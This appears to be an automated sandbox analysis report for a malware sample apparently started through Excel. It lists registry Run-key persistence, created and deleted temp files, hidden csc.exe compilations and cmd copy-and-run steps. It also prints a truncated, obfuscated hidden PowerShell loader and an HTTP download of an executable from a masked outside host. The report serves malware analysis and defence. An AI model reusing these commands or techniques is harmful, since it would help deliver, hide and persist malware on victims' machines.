Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'winservie' = '%APPDATA%\winservie.exe'
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function zc3c7 {param($u218244)$m21284='gf17c9b';$hde65='';for ($i=0; $i -lt $u218244.length;$i+=2){$l91891=[convert]::ToByte($u218244.Substring($i,2),16);$hde65+=[char]($...
Injects code into
the following user processes:
- winservie.exe
Modifies file system
Creates the following files
- %TEMP%\vrg6kyq9.0.cs
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{2103bf0e-7567-4407-bf63-4a5e0efb269c}.tmp
- %TEMP%\zne3f_j2.dll
- %TEMP%\rese179.tmp
- %TEMP%\csce159.tmp
- %TEMP%\zne3f_j2.out
- %TEMP%\zne3f_j2.cmdline
- %TEMP%\zne3f_j2.0.cs
- %TEMP%\vrg6kyq9.dll
- %TEMP%\nkph0bzi.dll
- %TEMP%\7xzfggma.dll
- %TEMP%\resd15c.tmp
- %TEMP%\resd0b1.tmp
- %TEMP%\resd0a1.tmp
- %TEMP%\dqe6hww6.dll
- %APPDATA%\bac16ad.exe
- %TEMP%\resd072.tmp
- %TEMP%\cscd0a0.tmp
- %TEMP%\cscd090.tmp
- %TEMP%\cscd061.tmp
- %TEMP%\dqe6hww6.out
- %TEMP%\dqe6hww6.cmdline
- %TEMP%\dqe6hww6.0.cs
- %TEMP%\7xzfggma.out
- %TEMP%\7xzfggma.cmdline
- %TEMP%\7xzfggma.0.cs
- %TEMP%\nkph0bzi.out
- %TEMP%\nkph0bzi.cmdline
- %TEMP%\nkph0bzi.0.cs
- %TEMP%\vrg6kyq9.out
- %TEMP%\vrg6kyq9.cmdline
- %TEMP%\cscd15b.tmp
- %APPDATA%\winservie.exe
Deletes the following files
- %TEMP%\resd072.tmp
- %TEMP%\7xzfggma.0.cs
- %TEMP%\7xzfggma.pdb
- %TEMP%\7xzfggma.cmdline
- %TEMP%\7xzfggma.dll
- %TEMP%\dqe6hww6.pdb
- %TEMP%\dqe6hww6.dll
- %TEMP%\dqe6hww6.cmdline
- %TEMP%\zne3f_j2.cmdline
- %TEMP%\dqe6hww6.0.cs
- %TEMP%\rese179.tmp
- %TEMP%\csce159.tmp
- %TEMP%\zne3f_j2.0.cs
- %TEMP%\zne3f_j2.pdb
- %TEMP%\zne3f_j2.dll
- %TEMP%\7xzfggma.out
- %TEMP%\dqe6hww6.out
- %TEMP%\vrg6kyq9.pdb
- %TEMP%\cscd15b.tmp
- %TEMP%\cscd061.tmp
- %TEMP%\resd0a1.tmp
- %TEMP%\cscd090.tmp
- %TEMP%\resd0b1.tmp
- %TEMP%\cscd0a0.tmp
- %TEMP%\resd15c.tmp
- %TEMP%\nkph0bzi.cmdline
- %TEMP%\vrg6kyq9.out
- %TEMP%\nkph0bzi.out
- %TEMP%\nkph0bzi.pdb
- %TEMP%\nkph0bzi.0.cs
- %TEMP%\nkph0bzi.dll
- %TEMP%\vrg6kyq9.cmdline
- %TEMP%\vrg6kyq9.dll
- %TEMP%\vrg6kyq9.0.cs
- %TEMP%\zne3f_j2.out
Network activity
TCP
HTTP GET requests
- http://cr####dcravings.net/wp-admin/4458.exe
UDP
- DNS ASK cr####dcravings.net
Miscellaneous
Creates and executes the following
- '%APPDATA%\bac16ad.exe'
- '%APPDATA%\winservie.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function zc3c7 {param($u218244)$m21284='gf17c9b';$hde65='';for ($i=0; $i -lt $u218244.length;$i+=2){$l91891=[convert]::ToByte($u218244.Substring($i,2),16);$hde65+=[char]($...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vrg6kyq9.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nkph0bzi.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7xzfggma.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dqe6hww6.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD072.tmp" "%TEMP%\CSCD061.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD0A1.tmp" "%TEMP%\CSCD090.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD0B1.tmp" "%TEMP%\CSCD0A0.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD15C.tmp" "%TEMP%\CSCD15B.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zne3f_j2.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE179.tmp" "%TEMP%\CSCE159.tmp"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy "%APPDATA%\bac16ad.exe" "%APPDATA%\winservie.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c, "%APPDATA%\winservie.exe"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vrg6kyq9.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nkph0bzi.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7xzfggma.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dqe6hww6.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD072.tmp" "%TEMP%\CSCD061.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD0A1.tmp" "%TEMP%\CSCD090.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD0B1.tmp" "%TEMP%\CSCD0A0.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD15C.tmp" "%TEMP%\CSCD15B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zne3f_j2.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE179.tmp" "%TEMP%\CSCE159.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\syswow64\cmd.exe' /c copy "%APPDATA%\bac16ad.exe" "%APPDATA%\winservie.exe"
- '%WINDIR%\syswow64\cmd.exe' /c, "%APPDATA%\winservie.exe"
